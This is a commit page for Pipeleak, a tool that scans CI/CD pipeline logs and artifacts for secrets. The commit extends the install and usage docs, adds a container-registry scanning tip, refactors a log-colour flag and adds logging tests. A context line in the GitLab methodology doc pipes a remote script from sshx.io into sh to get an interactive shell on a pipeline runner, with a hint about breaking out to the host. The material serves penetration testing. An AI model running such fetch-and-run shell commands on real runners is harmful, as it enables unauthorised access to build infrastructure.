Skip to content

Commit c3e7673

Browse files
authored
extend docs (#334)
* Extended docs, refactored global log color flag
1 parent 0870a51 commit c3e7673

7 files changed

Lines changed: 278 additions & 23 deletions

File tree

docs/introduction/getting_started.md

Lines changed: 47 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -23,28 +23,53 @@ Once secrets are discovered, further exploitation often requires additional tool
2323

2424
# Getting Started
2525

26+
## Installation
27+
28+
### Linux / macOS
29+
2630
1. Visit the [Pipeleak GitHub Releases](https://github.com/CompassSecurity/pipeleak/releases) page.
27-
2. Download the binary for your operating system and architecture (e.g., Linux, macOS, Windows).
28-
3. Etract the archive
29-
```bash
30-
tar -xzf pipeleak-<version>-<os>-<arch>.tar.gz
31-
```
31+
32+
2. Download the binary for your operating system and architecture:
33+
- For Linux: `pipeleak-<version>-linux-<arch>.tar.gz`
34+
- For macOS: `pipeleak-<version>-darwin-<arch>.tar.gz`
35+
36+
3. Extract the archive:
37+
```bash
38+
tar -xzf pipeleak-<version>-<os>-<arch>.tar.gz
39+
```
40+
3241
4. Make the binary executable:
3342
```bash
3443
chmod +x pipeleak
3544
```
36-
5. Run Pipeleak
45+
46+
5. Verify installation:
3747
```bash
3848
./pipeleak --help
3949
```
40-
This will show the available commands and options.
4150

42-
### Basic Example
51+
### Windows
52+
53+
1. Visit the [Pipeleak GitHub Releases](https://github.com/CompassSecurity/pipeleak/releases) page.
54+
55+
2. Download the Windows binary:
56+
- For 64-bit Windows: `pipeleak-<version>-windows-<arch>.zip`
4357

44-
The most basic example to scan e.g. GitLab pipeline logs for secrets, check the docs for other platforms and more options.
58+
3. Extract the ZIP archive to a folder of your choice (e.g., `C:\Tools\pipeleak\`).
4559

46-
```shell
47-
pipeleak gl scan --token glpat-[redacted] --gitlab https://gitlab.com
60+
4. Open PowerShell or Command Prompt and verify installation:
61+
```powershell
62+
.\pipeleak.exe --help
63+
```
64+
65+
## Usage Examples
66+
67+
### Basic Scanning
68+
69+
The most basic example to scan e.g. GitLab pipeline logs for secrets. Check the docs for other platforms and more options.
70+
71+
```bash
72+
pipeleak gl scan --token glpat-[redacted] --gitlab https://gitlab.example.com
4873
```
4974

5075
### Scanning Artifacts
@@ -53,10 +78,21 @@ In addition to logs, Pipeleak can also scan artifacts generated by pipelines.
5378

5479
Note that the `scan` commands must be configured to scan artifacts. This is usually disabled by default.
5580

81+
**Linux / macOS:**
5682
```bash
5783
pipeleak gl scan --token glpat-[redacted] --gitlab https://gitlab.example.com -a
5884
```
5985

86+
**Windows PowerShell:**
87+
```powershell
88+
.\pipeleak.exe gl scan --token glpat-[redacted] --gitlab https://gitlab.example.com -a
89+
```
90+
91+
**Windows Command Prompt:**
92+
```cmd
93+
pipeleak.exe gl scan --token glpat-[redacted] --gitlab https://gitlab.example.com -a
94+
```
95+
6096
### Result Confidence
6197

6298
The following confidence levels detected secrets are used by default:

docs/methodology/gitlab.md

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -302,4 +302,13 @@ $ curl -sSf https://sshx.io/get | sh -s run
302302
➜ Shell: /bin/bash
303303
```
304304

305-
From the interactive shell, you can now try breakout to the host, or find runner misconfigurations e.g. host mounted volumes.
305+
From the interactive shell, you can now try breakout to the host, or find runner misconfigurations e.g. host mounted volumes.
306+
307+
## Scanning Container Registries
308+
309+
If the GitLab instance has a container registry enabled, check if you have access to pull container images. These images often contain hardcoded secrets, credentials, or sensitive configuration files that were accidentally included during the build process.
310+
311+
Using [TruffleHog](https://github.com/trufflesecurity/trufflehog):
312+
```bash
313+
trufflehog docker --image registry.leakycompany.com/auser/arepo
314+
```

docs/methodology/scanning.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ pipeleak gl scan -g https://gitlab.com -t glpat-[redacted] --cookie [redacted] -
4242
Sometimes you need to scan through a proxy and avoid making too much noise. Disable TruffleHog verification, configure your proxy using environment variables, save logs to disk, and turn off colored logs for easier grepping. Make sure to scan slowly by only using one thread and limit traffic by settting an artifact size limit.
4343

4444
```bash
45-
HTTP_PROXY=http://127.0.0.1:8080 pipeleak gl scan -g https://gitlab.internal-company.com -t glpat-[redacted] --threads 1 --max-artifact-size 5mb --truffleHogVerification=false --verbose --logfile pipeleak_out --coloredLog=false --job-limit 10
45+
HTTP_PROXY=http://127.0.0.1:8080 pipeleak gl scan -g https://gitlab.internal-company.com -t glpat-[redacted] --threads 1 --max-artifact-size 5mb --truffleHogVerification=false --verbose --logfile pipeleak_out --job-limit 10
4646
```
4747

4848
## Custom Rules

src/pipeleak/cmd/root.go

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@ var (
2525
Long: "Pipeleak is a tool designed to scan CI/CD job output logs and artifacts for potential secrets.",
2626
Example: "pipeleak gl scan --token glpat-xxxxxxxxxxx --gitlab https://gitlab.com",
2727
PersistentPreRun: func(cmd *cobra.Command, args []string) {
28-
initLogger()
28+
initLogger(cmd)
2929
setGlobalLogLevel(cmd)
3030
},
3131
}
@@ -49,10 +49,10 @@ func init() {
4949
rootCmd.AddCommand(gitea.NewGiteaRootCmd())
5050
rootCmd.AddCommand(docs.NewDocsCmd(rootCmd))
5151
rootCmd.PersistentFlags().BoolVarP(&JsonLogoutput, "json", "", false, "Use JSON as log output format")
52-
rootCmd.PersistentFlags().BoolVarP(&LogColor, "coloredLog", "", true, "Output the human-readable log in color")
5352
rootCmd.PersistentFlags().StringVarP(&LogFile, "logfile", "l", "", "Log output to a file")
5453
rootCmd.PersistentFlags().BoolVarP(&LogDebug, "verbose", "v", false, "Enable debug logging (shortcut for --log-level=debug)")
5554
rootCmd.PersistentFlags().StringVar(&LogLevel, "log-level", "", "Set log level globally (debug, info, warn, error). Example: --log-level=warn")
55+
rootCmd.PersistentFlags().BoolVar(&LogColor, "color", true, "Enable colored log output (auto-disabled when using --logfile)")
5656

5757
rootCmd.AddGroup(&cobra.Group{ID: "GitHub", Title: "GitHub Commands"})
5858
rootCmd.AddGroup(&cobra.Group{ID: "GitLab", Title: "GitLab Commands"})
@@ -92,8 +92,10 @@ func (cw *CustomWriter) Write(p []byte) (n int, err error) {
9292
return originalLen, nil
9393
}
9494

95-
func initLogger() {
95+
func initLogger(cmd *cobra.Command) {
9696
defaultOut := &CustomWriter{Writer: os.Stdout}
97+
colorEnabled := LogColor
98+
9799
if LogFile != "" {
98100
runLogFile, err := os.OpenFile(
99101
LogFile,
@@ -104,12 +106,17 @@ func initLogger() {
104106
panic(err)
105107
}
106108
defaultOut = &CustomWriter{Writer: runLogFile}
109+
110+
rootFlags := cmd.Root().PersistentFlags()
111+
if !rootFlags.Changed("color") {
112+
colorEnabled = false
113+
}
107114
}
108115

109116
if JsonLogoutput {
110117
log.Logger = zerolog.New(defaultOut).With().Timestamp().Logger()
111118
} else {
112-
output := zerolog.ConsoleWriter{Out: defaultOut, TimeFormat: time.RFC3339, NoColor: !LogColor}
119+
output := zerolog.ConsoleWriter{Out: defaultOut, TimeFormat: time.RFC3339, NoColor: !colorEnabled}
113120
log.Logger = zerolog.New(output).With().Timestamp().Logger()
114121
}
115122
}

src/pipeleak/cmd/root_test.go

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -92,3 +92,21 @@ func TestSetGlobalLogLevel_Invalid(t *testing.T) {
9292
t.Errorf("Expected InfoLevel for invalid, got %v", zerolog.GlobalLevel())
9393
}
9494
}
95+
96+
func TestGlobalColorFlagRegistered(t *testing.T) {
97+
flag := rootCmd.PersistentFlags().Lookup("color")
98+
if flag == nil {
99+
t.Fatal("Global color flag not registered")
100+
}
101+
102+
if flag.DefValue != "true" {
103+
t.Errorf("Expected default value 'true' for color flag, got %s", flag.DefValue)
104+
}
105+
}
106+
107+
func TestGlobalLogFileFlagRegistered(t *testing.T) {
108+
flag := rootCmd.PersistentFlags().Lookup("logfile")
109+
if flag == nil {
110+
t.Fatal("Global logfile flag not registered")
111+
}
112+
}
Lines changed: 185 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,185 @@
1+
package e2e
2+
3+
import (
4+
"os"
5+
"path/filepath"
6+
"strings"
7+
"testing"
8+
"time"
9+
10+
"github.com/stretchr/testify/assert"
11+
)
12+
13+
// TestLogging_ColorFlagRegistered verifies the --color flag is available
14+
func TestLogging_ColorFlagRegistered(t *testing.T) {
15+
stdout, _, _ := runCLI(t, []string{"--help"}, nil, 10*time.Second)
16+
17+
assertLogContains(t, stdout, []string{"--color"})
18+
19+
if !strings.Contains(stdout, "auto-disabled") {
20+
t.Logf("Flag description might not mention auto-disable, but flag exists")
21+
}
22+
}
23+
24+
// TestLogging_ConsoleOutputHasColors verifies console output includes ANSI color codes
25+
func TestLogging_ConsoleOutputHasColors(t *testing.T) {
26+
stdout, stderr, exitErr := runCLI(t, []string{"gl", "--help"}, nil, 5*time.Second)
27+
28+
output := stdout + stderr
29+
assert.Nil(t, exitErr, "Command should succeed")
30+
31+
// ANSI color codes typically start with \x1b[ or \033[
32+
hasAnsiCodes := strings.Contains(output, "\x1b[") || strings.Contains(output, "\033[")
33+
34+
t.Logf("Console output contains ANSI codes: %v", hasAnsiCodes)
35+
t.Logf("Output sample (first 200 chars): %s", truncate(output, 200))
36+
}
37+
38+
// TestLogging_FileOutputDisablesColorsAutomatically tests that log files don't contain ANSI codes
39+
func TestLogging_FileOutputDisablesColorsAutomatically(t *testing.T) {
40+
tmpDir := t.TempDir()
41+
logFile := filepath.Join(tmpDir, "test.log")
42+
43+
args := []string{"gl", "enum", "--gitlab", "https://invalid.local", "--token", "test", "--logfile", logFile}
44+
_, _, _ = runCLI(t, args, nil, 5*time.Second)
45+
46+
content, err := os.ReadFile(logFile)
47+
if err != nil {
48+
t.Skipf("Log file not created (command may have exited before logging): %v", err)
49+
return
50+
}
51+
52+
assert.NotEmpty(t, content, "Log file should have content")
53+
54+
logContent := string(content)
55+
56+
hasAnsiCodes := strings.Contains(logContent, "\x1b[") || strings.Contains(logContent, "\033[")
57+
assert.False(t, hasAnsiCodes,
58+
"Log file should not contain ANSI color codes when colors are auto-disabled")
59+
60+
t.Logf("Log file content (first 500 chars):\n%s", truncate(logContent, 500))
61+
}
62+
63+
// TestLogging_FileOutputWithExplicitColorEnabled tests manual override
64+
func TestLogging_FileOutputWithExplicitColorEnabled(t *testing.T) {
65+
tmpDir := t.TempDir()
66+
logFile := filepath.Join(tmpDir, "test_color.log")
67+
68+
args := []string{"gl", "enum", "--gitlab", "https://invalid.local", "--token", "test", "--logfile", logFile, "--color=true"}
69+
_, _, _ = runCLI(t, args, nil, 5*time.Second)
70+
71+
content, err := os.ReadFile(logFile)
72+
if err != nil {
73+
t.Skipf("Log file not created: %v", err)
74+
return
75+
}
76+
77+
assert.NotEmpty(t, content, "Log file should have content")
78+
79+
logContent := string(content)
80+
81+
hasAnsiCodes := strings.Contains(logContent, "\x1b[") || strings.Contains(logContent, "\033[")
82+
assert.True(t, hasAnsiCodes,
83+
"Log file should contain ANSI color codes when --color=true is explicitly set")
84+
85+
t.Logf("Log file with colors (first 500 chars):\n%s", truncate(logContent, 500))
86+
}
87+
88+
// TestLogging_FileOutputWithExplicitColorDisabled tests explicit disable
89+
func TestLogging_FileOutputWithExplicitColorDisabled(t *testing.T) {
90+
tmpDir := t.TempDir()
91+
logFile := filepath.Join(tmpDir, "test_nocolor.log")
92+
93+
args := []string{"gl", "enum", "--gitlab", "https://invalid.local", "--token", "test", "--logfile", logFile, "--color=false"}
94+
_, _, _ = runCLI(t, args, nil, 5*time.Second)
95+
96+
content, err := os.ReadFile(logFile)
97+
if err != nil {
98+
t.Skipf("Log file not created: %v", err)
99+
return
100+
}
101+
102+
assert.NotEmpty(t, content, "Log file should have content")
103+
104+
logContent := string(content)
105+
106+
hasAnsiCodes := strings.Contains(logContent, "\x1b[") || strings.Contains(logContent, "\033[")
107+
assert.False(t, hasAnsiCodes,
108+
"Log file should not contain ANSI color codes when --color=false is set")
109+
110+
t.Logf("Log file without colors (first 500 chars):\n%s", truncate(logContent, 500))
111+
}
112+
113+
// TestLogging_ConsoleWithExplicitColorDisabled tests disabling colors for console
114+
func TestLogging_ConsoleWithExplicitColorDisabled(t *testing.T) {
115+
args := []string{"gl", "--help", "--color=false"}
116+
stdout, stderr, exitErr := runCLI(t, args, nil, 5*time.Second)
117+
118+
output := stdout + stderr
119+
assert.Nil(t, exitErr, "Command should succeed")
120+
121+
hasAnsiCodes := strings.Contains(output, "\x1b[") || strings.Contains(output, "\033[")
122+
assert.False(t, hasAnsiCodes,
123+
"Console output should not contain ANSI color codes when --color=false is set")
124+
125+
t.Logf("Console output without colors (first 200 chars): %s", truncate(output, 200))
126+
}
127+
128+
// TestLogging_LogFileCreatedSuccessfully verifies log file creation
129+
func TestLogging_LogFileCreatedSuccessfully(t *testing.T) {
130+
tmpDir := t.TempDir()
131+
logFile := filepath.Join(tmpDir, "pipeleak.log")
132+
133+
_, err := os.Stat(logFile)
134+
assert.True(t, os.IsNotExist(err), "Log file should not exist before command")
135+
136+
args := []string{"gl", "enum", "--gitlab", "https://invalid.local", "--token", "test", "--logfile", logFile}
137+
_, _, _ = runCLI(t, args, nil, 5*time.Second)
138+
139+
stat, err := os.Stat(logFile)
140+
if err != nil {
141+
t.Skipf("Log file not created: %v", err)
142+
return
143+
}
144+
145+
assert.Greater(t, stat.Size(), int64(0), "Log file should have content")
146+
147+
t.Logf("Log file created: %s (size: %d bytes)", logFile, stat.Size())
148+
}
149+
150+
// TestLogging_LogFileAppendMode verifies log file append behavior
151+
func TestLogging_LogFileAppendMode(t *testing.T) {
152+
tmpDir := t.TempDir()
153+
logFile := filepath.Join(tmpDir, "append.log")
154+
155+
args := []string{"gl", "enum", "--gitlab", "https://invalid.local", "--token", "test", "--logfile", logFile}
156+
157+
_, _, _ = runCLI(t, args, nil, 5*time.Second)
158+
159+
stat1, err := os.Stat(logFile)
160+
if err != nil {
161+
t.Skipf("Log file not created on first run: %v", err)
162+
return
163+
}
164+
size1 := stat1.Size()
165+
166+
_, _, _ = runCLI(t, args, nil, 5*time.Second)
167+
168+
stat2, err := os.Stat(logFile)
169+
assert.NoError(t, err, "Log file should exist after second run")
170+
size2 := stat2.Size()
171+
172+
assert.Greater(t, size2, size1,
173+
"Log file should grow on second run (append mode)")
174+
175+
t.Logf("Log file sizes - First: %d, Second: %d (delta: %d)",
176+
size1, size2, size2-size1)
177+
}
178+
179+
// Helper function to truncate strings for logging
180+
func truncate(s string, maxLen int) string {
181+
if len(s) <= maxLen {
182+
return s
183+
}
184+
return s[:maxLen] + "..."
185+
}

0 commit comments

Comments
 (0)